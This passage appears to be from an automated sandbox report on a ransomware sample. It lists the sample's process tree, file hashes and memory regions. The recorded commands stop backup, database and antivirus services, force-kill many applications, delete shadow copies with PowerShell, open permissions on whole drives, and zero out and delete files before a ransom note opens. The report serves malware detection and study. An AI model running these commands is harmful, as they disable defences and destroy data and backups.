C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$SHAREPOINT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop MSSQL$PROFXENGAGEMENT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop Antivirus /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Antivirus /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop TmCCSF /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TmCCSF /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop DCAgent /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DCAgent /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLSafeOLRService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop TrueKey /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKey /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop tmlisten /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tmlisten /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLBrowser /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop SQLSERVERAGENT /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y4⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" stop TrueKeyScheduler /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyScheduler /y4⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM synctime.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM outlook.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msaccess.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msftesql.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM onenote.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM steam.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM visio.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM winword.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM encsvc.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM wordpad.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM excel.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocomm.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat64.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" IM thunderbird.exe /F3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM infopath.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocssd.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM oracle.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM zoolz.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\icacls.exe"icacls" "C:*" /grant Everyone:F /T /C /Q3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exe"icacls" "Z:*" /grant Everyone:F /T /C /Q3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\icacls.exe"icacls" "D:*" /grant Everyone:F /T /C /Q3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\arp.exe"arp" -a3⤵
-
C:\Windows\SysWOW64\net.exe"net.exe" use \\10.7.0.683⤵
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt3⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”3⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 34⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exe3⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 34⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-397736069137260643814032166702119225639234000044-14381712858837510914673125"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "926047565-73045365-2006964149-1563502552-891139590-1356332111-908110634-1624907816"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "377858225-1646507739934747386-1946918413-166297252016715441491226537477836607054"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1376091170-1752711824-86991568221072560401818884021-1057853748-382279387-1888604843"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-3342161491893366292-1367908683-2102802502-842945483-229056466-831278535-31699839"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-68351005317098057661206878465602682971627517057-12111272481403850138534124865"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1766752448-11112234741641378731662745025-2082008783-57954410275230572947148860"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "16522290801532845659-1171568132261994351-18593419322003012378-681213493-1241496429"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "12948641561463219945-7248315991827913486-56844313-1211826932-1512949328-1227667825"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "897207674-6101183121402268154-9080635601907790171-1714355089-4556947631066422944"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2110384980-201790247-713877588-7072042531327539839-12388431321117229841-1388745906"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "525483392814966287-1363545317-1207276701-703474035280554792313293833772593546"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1683040199-63259639-1373742495326053-1786159832-6509888384391236481330681361"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1342475832-1029891868-2086608761-1779704363-1700752456-1722782848-13546657361506553982"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "431548572-749331086-1666408465-1494517572-1194691134-812531646-14523630442015205471"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "452244431-1826446067139461821-47272471625247953-4900680831385533608-662291239"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1774910837-12513604781001175084-568269211-954448216-17378560415111793392009851210"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1768451818-604261798-379903462-1312761622-1887746384-1040005204-153807947659151636"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "8265093561712158203-1289761204-1085612916714977810-24417519054418943331943724"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1792955736-883274299-13587749641962250809-91578201814449180061967826827725008300"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-4059676102107705964-5029568331562425180694393576466379361297110448964775799"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2136771936-14334889061387007168-675993557740812991863635461910172645-1720178521"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "15321828051107238621-909781334-8528961611756660575-59651767011286206-434713887"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-71873458853023427492817035218176732511236164327-1573284172-534712577-1145243295"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1597386004-61102329417474228101607166161105840097-1821003075583409592-238578536"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-8820711261198244922-426439011-18050188071825837283-907887867-1331214128-454161960"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "302288855-751732201-154084979213503465011387619014-1165701839-11594314771259307730"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "2091277267744789291029272036-1761450695-2081217884463964335-363369690505662298"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "309512523-10461349112849290691421309796-273536811800432452-173624056-1630595020"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1516104280-1402549396113050076116494675841442037809-3101893121184220684119191360"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-2013060251-103773797-225848446-1719360228854943833-537462772554368737233949324"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1497247157-133559788395348476340503359-1354482923-1619447272-4352596871087013302"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1768954169-1449859727624017167174797351618822897071237408352005695654541155512"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "10840895651552369150-631434736-623570896786017394-479893788-14324735031534458207"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "856233642-24323958-1874026434737196097-1057118477-10846075891259557681827273030"1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_36403116-80d4-4468-a643-226c7f017487MD5
354b8209f647a42e2ce36d8cf326cc92
SHA198c3117f797df69935f8b09fc9e95accfe3d8346
SHA256feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239
SHA512420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9cMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422MD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcfMD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_73eda8d0-26be-49d3-ac47-89a84f346afeMD5
7f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87aMD5
a725bb9fafcf91f3c6b7861a2bde6db2
SHA18bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA25651651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA5121c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_878102dd-633b-429c-9e9b-28f032a0f556MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63MD5
597009ea0430a463753e0f5b1d1a249e
SHA14e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA2563fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA5125d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3ddbd6f-408f-4130-87e2-a092eda04f79MD5
d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
3487d9e3e6aa86a709d8b75cef1a45ed
SHA1e29506c9dfe607eb8e9278d8bc46ab7c32bf5dd9
SHA2564a461827b3e5dc0ba59e03885ae1f05c9091c6119ef9a8a9bc3e869676ee8736
SHA5124decb44915eb4335a025698986e50db33449c130c1d39bc6ac195d7f90e874803e6501523afc9716c9776a85992ac7bc55d62af36d110cb8ba8954bc1a933e49
-
C:\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exeMD5
8edfa3b1705fa1d4c006dd0bde248bdb
SHA19a607d0a1410c9fab84d683b1661ebb512128fbd
SHA2561f7dfc5cb2e65846555688a879e8f53c196cf6278fad79ad124144f2b3705ac2
SHA512c07a645494006a2acfaf2894e9a303402f0b8845897c461c943f1be762fc18571aad9bc748c53eb15adbb0a5ee1015c0d56432163bdb2ee7dc39bab3a85df14f
-
C:\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exeMD5
8edfa3b1705fa1d4c006dd0bde248bdb
SHA19a607d0a1410c9fab84d683b1661ebb512128fbd
SHA2561f7dfc5cb2e65846555688a879e8f53c196cf6278fad79ad124144f2b3705ac2
SHA512c07a645494006a2acfaf2894e9a303402f0b8845897c461c943f1be762fc18571aad9bc748c53eb15adbb0a5ee1015c0d56432163bdb2ee7dc39bab3a85df14f
-
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txtMD5
a8253521287a49fea824505ec587ed5c
SHA17a1da520ee7d80c53b5f9d4655f371877d591c5c
SHA2567854fe42c2ed0a13301f8e5e769890a6db48a6abb685b0144cc2c37684acc90a
SHA512d12c56ff3634bc4c157da46d79ead638309920f1feacd5f1ae7eb2c45865177f2b2f41c87686ed595a39e4ecb0a783087d0dd5edeb9f25ec3df3e83883029fb0
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
716c7efa77b4709eb645ac5971c745c7
SHA165c896485c49470c8e8e2ed1b7f16bc418129501
SHA256d2dd374923b1795e3896aad3391d14732835ccd2edfc4e90902e8b8c9adf836a
SHA5127385e923dd26b491d5259e2be6afe0ff5747bf32c634702565f8d1fbb81f3cb02ca3a2b418c2f4cb9ade963c691e213e225758a6a290398af73a006592803536
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
716c7efa77b4709eb645ac5971c745c7
SHA165c896485c49470c8e8e2ed1b7f16bc418129501
SHA256d2dd374923b1795e3896aad3391d14732835ccd2edfc4e90902e8b8c9adf836a
SHA5127385e923dd26b491d5259e2be6afe0ff5747bf32c634702565f8d1fbb81f3cb02ca3a2b418c2f4cb9ade963c691e213e225758a6a290398af73a006592803536
-
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txtMD5
52c45a1b9a532965ac429a3bbc628431
SHA1f54b1d9c1ec2b8f2e907aa2574cc82ac119bcea3
SHA25648a709b7f4eb15d9bc8d9fc14bbfcba687e2e178ecc75db8b9bbe872c7d9cdbb
SHA512f48ce21252d27dc9b54e0de43371de22d91cde1a35a1998a1d478cc7d6161cda55c3575404c945e6541f502e18442d25c5d88cd32b5fcdbe34beb460196c8e34
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Programs\Temp\tm94ra6g.exeMD5
8edfa3b1705fa1d4c006dd0bde248bdb
SHA19a607d0a1410c9fab84d683b1661ebb512128fbd
SHA2561f7dfc5cb2e65846555688a879e8f53c196cf6278fad79ad124144f2b3705ac2
SHA512c07a645494006a2acfaf2894e9a303402f0b8845897c461c943f1be762fc18571aad9bc748c53eb15adbb0a5ee1015c0d56432163bdb2ee7dc39bab3a85df14f
-
memory/272-79-0x0000000000000000-mapping.dmp
-
memory/332-61-0x0000000000000000-mapping.dmp
-
memory/336-64-0x0000000000000000-mapping.dmp
-
memory/368-59-0x0000000000000000-mapping.dmp
-
memory/436-144-0x0000000004A50000-0x0000000004A51000-memory.dmpFilesize
4KB
-
memory/436-142-0x0000000073870000-0x0000000073F5E000-memory.dmpFilesize
6.9MB
-
memory/436-143-0x0000000000AC0000-0x0000000000AC1000-memory.dmpFilesize
4KB
-
memory/436-148-0x0000000004990000-0x0000000004991000-memory.dmpFilesize
4KB
-
memory/436-147-0x0000000004A12000-0x0000000004A13000-memory.dmpFilesize
4KB
-
memory/436-146-0x0000000004A10000-0x0000000004A11000-memory.dmpFilesize
4KB
-
memory/436-145-0x00000000012D0000-0x00000000012D1000-memory.dmpFilesize
4KB
-
memory/440-78-0x0000000000000000-mapping.dmp
-
memory/528-51-0x00000000062E0000-0x00000000062E1000-memory.dmpFilesize
4KB
-
memory/528-18-0x0000000004982000-0x0000000004983000-memory.dmpFilesize
4KB
-
memory/528-36-0x0000000005630000-0x0000000005631000-memory.dmpFilesize
4KB
-
memory/528-13-0x0000000073870000-0x0000000073F5E000-memory.dmpFilesize
6.9MB
-
memory/528-40-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/528-35-0x0000000006260000-0x0000000006261000-memory.dmpFilesize
4KB
-
memory/528-28-0x0000000005730000-0x0000000005731000-memory.dmpFilesize
4KB
-
memory/528-14-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB
-
memory/528-27-0x00000000056D0000-0x00000000056D1000-memory.dmpFilesize
4KB
-
memory/528-52-0x00000000062F0000-0x00000000062F1000-memory.dmpFilesize
4KB
-
